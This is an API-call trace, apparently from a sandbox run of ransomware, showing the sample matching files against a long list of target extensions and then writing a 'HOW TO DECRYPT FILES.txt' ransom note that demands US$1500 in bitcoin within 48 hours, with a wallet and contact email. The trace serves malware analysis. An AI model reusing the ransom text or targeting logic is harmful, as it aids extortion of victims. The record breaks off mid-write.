(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0103.016] lstrlenA (lpString="*.cs") returned 4 [0103.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.016] lstrlenA (lpString="*.cpp") returned 5 [0103.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0103.016] lstrlenA (lpString="*.rar") returned 5 [0103.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0103.016] lstrlenA (lpString="*.zip") returned 5 [0103.016] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0103.017] lstrlenA (lpString="*.html") returned 6 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0103.017] lstrlenA (lpString="*.htm") returned 5 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.017] lstrlenA (lpString="*.xlsx") returned 6 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0103.017] lstrlenA (lpString="*.xls") returned 5 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.017] lstrlenA (lpString="*.mp4") returned 5 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.017] lstrlenA (lpString="*.ppt") returned 5 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.017] lstrlenA (lpString="*.pptx") returned 6 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0103.017] lstrlenA (lpString="*.doc") returned 5 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0103.017] lstrlenA (lpString="*.dot") returned 5 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0103.017] lstrlenA (lpString="*.docx") returned 6 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0103.017] lstrlenA (lpString="*.7z") returned 4 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0103.017] lstrlenA (lpString="*.tar") returned 5 [0103.017] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.017] lstrlenA (lpString="*.bz2") returned 5 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0103.018] lstrlenA (lpString="*.gz") returned 4 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.018] lstrlenA (lpString="*.mkv") returned 5 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.018] lstrlenA (lpString="*.eml") returned 5 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0103.018] lstrlenA (lpString="*.msg") returned 5 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0103.018] lstrlenA (lpString="*.edb") returned 5 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.018] lstrlenA (lpString="*.accdb") returned 7 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0103.018] lstrlenA (lpString="*.odb") returned 5 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0103.018] lstrlenA (lpString="*.java") returned 6 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0103.018] lstrlenA (lpString="*.asm") returned 5 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.018] lstrlenA (lpString="*.pfx") returned 5 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0103.018] lstrlenA (lpString="*.pem") returned 5 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0103.018] lstrlenA (lpString="*.p12") returned 5 [0103.018] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.019] lstrlenA (lpString="*.gpg") returned 5 [0103.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.019] lstrlenA (lpString="*.vsd") returned 5 [0103.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0103.019] lstrlenA (lpString="*.odg") returned 5 [0103.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0103.019] lstrlenA (lpString="*.raw") returned 5 [0103.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0103.019] lstrlenA (lpString="*.nef") returned 5 [0103.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0103.019] lstrlenA (lpString="*.svg") returned 5 [0103.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0103.019] lstrlenA (lpString="*.psd") returned 5 [0103.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.019] lstrlenA (lpString="*.vmx") returned 5 [0103.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.019] lstrlenA (lpString="*.vmdk") returned 6 [0103.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.019] lstrlenA (lpString="*.vdi") returned 5 [0103.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.019] lstrlenA (lpString="*.lay6") returned 6 [0103.019] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.019] lstrlenA (lpString="*.mpeg") returned 6 [0103.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.020] lstrlenA (lpString="*.djvu") returned 6 [0103.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.020] lstrlenA (lpString="*.tiff") returned 6 [0103.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0103.020] lstrlenA (lpString="*.backup") returned 8 [0103.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.020] lstrlenA (lpString="*.pdf") returned 5 [0103.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0103.020] lstrlenA (lpString="*.cert") returned 6 [0103.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0103.020] lstrlenA (lpString="*.docm") returned 6 [0103.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.020] lstrlenA (lpString="*.xlsm") returned 6 [0103.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.020] lstrlenA (lpString="*.dwg") returned 5 [0103.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0103.020] lstrlenA (lpString="*.nd") returned 4 [0103.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.020] lstrlenA (lpString="*.tlg") returned 5 [0103.020] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.021] lstrlenA (lpString="*.lgb") returned 5 [0103.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0103.021] lstrlenA (lpString="*.mov") returned 5 [0103.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.021] lstrlenA (lpString="*.xdw") returned 5 [0103.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0103.021] lstrlenA (lpString="*.ods") returned 5 [0103.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0103.021] lstrlenA (lpString="*.wav") returned 5 [0103.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.021] lstrlenA (lpString="*.mp3") returned 5 [0103.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.021] lstrlenA (lpString="*.aiff") returned 6 [0103.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0103.021] lstrlenA (lpString="*.flac") returned 6 [0103.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.021] lstrlenA (lpString="*.m4a") returned 5 [0103.021] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\4779a2f67e42e7a66cd4d9e054d66de6\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0103.021] lstrlenA (lpString="*.csv") returned 5 [0103.021] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44cfe3a0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x44cfe3a0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x44cfe3a0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xe400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.022] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.022] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bfb27c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4bfb27c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4bfb27c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="51538a376be989e6349355e00c47741d", cAlternateFileName="51538A~1")) returned 1 [0103.022] lstrcmpA (lpString1=".", lpString2="51538a376be989e6349355e00c47741d") returned -1 [0103.022] lstrcmpA (lpString1="..", lpString2="51538a376be989e6349355e00c47741d") returned -1 [0103.022] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.022] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="51538a376be989e6349355e00c47741d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d" [0103.022] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d") returned 100 [0103.022] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bfb27c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4bfb27c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4bfb27c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.023] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.023] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4bfb27c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4bfb27c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4bfb27c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.023] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.023] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.023] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf8c660, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4bf8c660, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4bf8c660, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x58a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.023] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.023] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll") returned -1 [0103.023] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll") returned -1 [0103.023] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll") returned -1 [0103.023] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\*.*") returned="*.*" [0103.023] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\" [0103.023] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\") returned="" [0103.023] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\HOW TO DECRYPT FILES.txt" [0103.023] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\51538a376be989e6349355e00c47741d\\how to decrypt files.txt")) returned 0xffffffff [0103.024] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\51538a376be989e6349355e00c47741d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.027] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.027] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, 